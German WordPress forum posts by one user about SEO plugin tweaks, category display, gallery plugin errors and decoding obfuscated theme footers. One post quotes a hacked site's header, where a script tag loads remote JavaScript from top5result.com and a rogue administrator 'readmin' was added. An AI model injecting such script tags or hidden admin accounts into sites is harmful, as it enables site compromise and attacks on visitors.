Beiträge von residevil

    Als Notlösung - bis das in ein Plugin-Update einfließt - behelfe ich mir mit der Funktion wp_trim_words:

    Datei wpseo-functions.php

    entspr. Zeile ändern auf

    Zitat

    '%%term_description%%' => wp_trim_words( trim( strip_tags( get_term_field( 'description', $r->term_id, $r->taxonomy ) ) ) , $num_words = 20 , $more = '' )

    Auf Websites mit Kategorie- und Taxonomie-Beschreibungen verwende ich die %%term_description%% Variable für die Meta Description.


    Problem: Lange Kategoriebeschreibungen werden nicht verkürzt, stattdessen haben die Kategorieseiten nun Meta Descriptions mit über 300 Wörtern.

    Gibt es eine Möglichkeit / Variable um die Kategoriebeschreibung abzukürzen so wie es auch bei Artikelseiten der Fall iist?


    http://wordpress.org/extend/plugins/wordpress-seo/

    Danke Alchymyth, das funktioniert hervorragend. Welche fehlenden Sicherheits-Checks meinst du denn? Sollte da noch was ausgebessert werden?


    Ich erweitere den Satz übrigens noch um eine eigene Taxonomy die ich noch in den Satz mit einbaue, und zwar wie folgt:

    PHP
    <?php $args = array('taxonomy' => 'genre'); ?>
    <?php $tax_menu_items = get_categories( $args );
    foreach ( $tax_menu_items as $tax_menu_item ):?>
    und kann dem
        <a href="<?php echo get_term_link($tax_menu_item,$tax_menu_item->taxonomy); ?>">
            <?php echo $tax_menu_item->name; ?>
        </a>
    Genre zugeordnet werden.
    <?php endforeach; ?>


    Falls jemand eine bessere Lösung hat, ich bin für Experimente offen.

    Ich möchte auf Artikelseiten die Kategorien denen der jeweilige Artikel angehört in einem Satz ausgeben, z. B.:

    Dieses [COLOR=#ff0000]Sachbuch[/COLOR] erschien am X.X.XY beim [COLOR=#ff0000]Sachbuchverlag[/COLOR] als [COLOR=#ff0000]Serientitel[/COLOR]


    Ich habe eine verschachtelte Kategoriestruktur:

    Sachbuch
    - Buchverlag
    --- Serientitel
    Roman
    - Romanverlag
    --- Romanserientitel
    etc

    Mit meiner Lösung werden die Kategorien allerdings nicht nach der Kategorie-Ebene ausgewählt sondern alphabetisch, wodurch dann der gebildete Satz je nach Fall nicht immer einen Sinn ergibt:


    Frage: Wie kann ich die Kategorien nach Ebenen referenzieren, so daß definitiv die erste, zweite oder dritte Ebene ausgegeben wird?

    Ich benötige eine Filterfunktion für mehrere Kriterien gleichzeitig - Kats, Tags, Datum, evtl Autor, etc.

    Bei Auswahl einer Kategorie sollen wie bei WP standard üblich entsprechende Posts angezeigt werden. Bei anschließender Auswahl einer weiteren Kategorie sollen diese eingegrenzt werden nur auf die Posts die auf beide Kategorien zutreffen.
    Gleichzeitig sollte das auch mit Schlagworten machbar sein, zusammen mit der Kategorieabfrage.

    Ganz toll wäre wenn das auch mit dem Zeitarchiv kompatibel wäre, evtl. sogar mit dem Autorenarchiv.

    Eine schließliche Suchanfrage innerhalb der gewählten Taxonomien wäre ein Traum ;)


    Das Plugin das diesem Zweck wohl am nächsten kommt ist das Query Multiple Taxonomies

    http://wordpress.org/extend/plugins…ple-taxonomies/

    Leider unterstützt dies nur die Filterung von Kategorien und Tags, eine Suchabfrage innerhalb der getroffenen Auswahl lässt es nicht zu.


    Kennt denn jemand ein besseres Plugin für diesen Zweck?

    Es geht um das Plugin Nextgen Gallery - NGG

    Folgende URL wird in Google Webmaster Tools als Crawling Fehler - 500 Internal Server Error - reklamiert:

    .../wp-content/plugins/nggallery/nggextractXML.php?gid=4

    Kann mir jemand sagen wozu diese URL gut sein soll - ich bin mit meinem Latein langsam am Ende. Die wird nirgends direkt aufgerufen. Ich dachte das hätte mit der Slideshow zu tun, aber Abschalten aller Slideshow Funktionen brachte auch keine Verbesserung.


    Hintergrund dazu:

    Diese Installation wurde seit WP 2.5 nicht mehr aktualisiert - ebenso die Plugins. Nachdem ich alles auf die neueste Version upgedated habe hatte ich etwas Mühe die NGG Nextgen Gallery wieder zu korrigieren (Verzeichnisstruktur wurde geändert), aber am Ende lief die Seite wieder.

    Dann habe ich die Permalinks verschönert und mit dem Plugin redirection auf die neuen Links weitergeleitet (301).

    Einige Zeit später reklamierte Google Webmaster Tools mehrere Crawling Fehler - 500 Internal Server Error - und strafte mich extrem ab. Nach einem erneuten Versuch mittels redirection zu korrigieren wurde der Penalty kurz aufgehoben bis ich dann wieder Strafversetzt wurde.

    Als Startseite zeige ich eine statische Seite an. Auf dieser soll die Überschrift entfernt werden (bei allen anderen Beiträgen sollen sie erhalten bleiben).

    Wie muß ich nun folgenden Code von page.php verändern?

    PHP
    <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
            <div class="entry">
    
    
                     <h2><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
                    
                    <?php the_content(__('(more...)')); ?>
                    
            </div>

    Meine Idee einfach folgendes davor zu setzen

    PHP
    <?php if (is_front_page()); ?>
            <div class="entry">
                    
                    <?php the_content(__('(more...)')); ?>
                    
            </div>

    hat nicht funktioniert. Wo ist mein Denkfehler? Habe ich evtl die falsche Datei? Oder ist es vielleicht einfacher das ganze über die Wordpress Einstellungen zu verändern?

    WP 2.9.1 - NG Gallery 1.4.3

    Ich habe bisher mit WP 2.3.3 und einer etwa gleich alten NG Gallery Version gearbeitet und die Gallery funktionierte tadellos, auch die Sidebar-Widgets Slideshow und Thumbgallery. Weil es aber kaum mehr Plugins für diese Version gibt hab ich jetzt mal auf die neueste Version geupdatet.

    :shock: Mit der neuen WP Version funktionierte dann plötzlich die Slideshow in der Sidebar nicht mehr. Stattdessen stand dort "Get Flash Player to see Slideshow" und dabei war ein Link zu Adobe. Die Thumbnail-Gallery war nach wie vor zu sehen.

    Da ich nach wie vor Flash auf meinem Rechner installiert habe dachte ich daß vll die alte NG Version schuld ist. Also holte ich dafür auch gleich das bereitgestellte Update (selbstverständlich zuerst die 2 NG Plugins - NG Gallery und NG Gallery Widget - deaktiviert).

    :-( Seither ist nur noch ein einziges NG Gallery Plugin vorhanden und der Widget-Teil wird nicht mehr extra aufgeführt. Die Widgets mußte ich auch separat wieder an ihre Stelle setzen.

    ...
    :cry: Aber die Slideshow ist jetzt überhaupt nicht mehr zu sehen und die Thumbnail Gallery erscheint jetzt in einer falschen Überschrift-Formatierung. Sehr kurios das ganze.

    Vielleicht weiß jemand von euch was da evtl falsch gelaufen ist.

    Hab heute rein durch Zufall folgende Zeile im Header entdeckt - weil der Quellcode dadurch nicht mehr valide war:

    Code
    <head><script type="text/javascript" src="http://top5result.com/promo/leftjs.js"></script></head>

    Dazu war noch ein neuer Administrator namens "readmin" vorhanden.

    Sonst sind mir noch keine weiteren Änderungen aufgefallen.

    Ich verwende das Google XML Sitemap Plugin welches meine Sitemap erzeugt und die Adresse dazu gleich in die robots.txt automatisch eintragen soll.

    Nun werden diese Daten aber leider immer in die virtual robots.txt eingetragen, obwohl eine echte robots.txt mit ausreichend Zugriffsrechten vorhanden ist.

    In meinen anderen Blogs lässt sich im Plugin-Menü auswählen ob es automatisch in die robots im Verzeichnis eingetragen werden soll.
    In diesem speziellen Fall steht aber an dieser Stelle nur die "virtual robots" zur Auswahl.


    Hat jemand ne Ahnung wo ich diese Datei löschen oder deaktivieren kann, so daß meine echte beachtet wird.

    Danke für deine Antwort.

    Woran erkenne ich daß das Theme unter GPL veröffentlicht ist und wann es kommerziell ist?

    Ich habe ein Theme das von einer Firma ist die ständig welche veröffentlicht, ich habe aber in keiner Datei eine Erwähnung einer Lizenz gefunden, geschweige denn einer extra Readme oder Licence Datei.

    Lediglich in der eval base64 codierten Footer Datei finde ich folgenden Hinweis:

    Zitat

    This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited.

    Was gilt denn in diesem Fall?

    So, ich hab jetzt den Code ohne Verschlüsselung bekommen - und den Backlink darin erhalten, nur die Werbelinks für Damenstrumpfhosen und Karibikkreuzfahrten hab ich entfernt.

    Habs über den Quellcode der Website rausbekommen. Ist für mich einfacher als daß ich dauernd rumexperimentiere.

    Da ich die Verschlüsselung nicht decodiert habe dürfte ich somit auch gegen keine Vorgaben vom Theme-Designer verstoßen haben. Das ist allerdings lediglich eine Vermutung von mir.

    Vielen Dank für eure Hilfe.

    So, ich hab den Code jetzt händisch vervollständigt und es funktioniert. Danke für die Hilfe, jetzt kann ich endlich Analytics Code in den Footer einbauen.

    Ich weiß aber immer noch nicht wie man zu dem ersten Teil überhaupt kommt. Über eine Erklärung dazu würde ich mich sehr freuen.


    Jetzt wollte ich das aber mit einem weiteren Theme das ich verwende gleich nochmal probieren. Dem Ersteller hatte ich schon vor langer Zeit eine Email geschrieben ich würde ihm sogar was dafür bezahlen wenn er es mir unverschlüsselt gibt, aber da gabs leider keine Antwort drauf. Die Verschlüsselung hier sieht aber heftiger aus:

    PHP
    <?php /*Encoder : NET-TEC PHP-ENCODER V 1.0WEB : http://www.net-tec.biz/WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. ......

    Was meint ihr? Kann man das decodieren? Und falls ja, darf der mir verbieten das zu decodieren?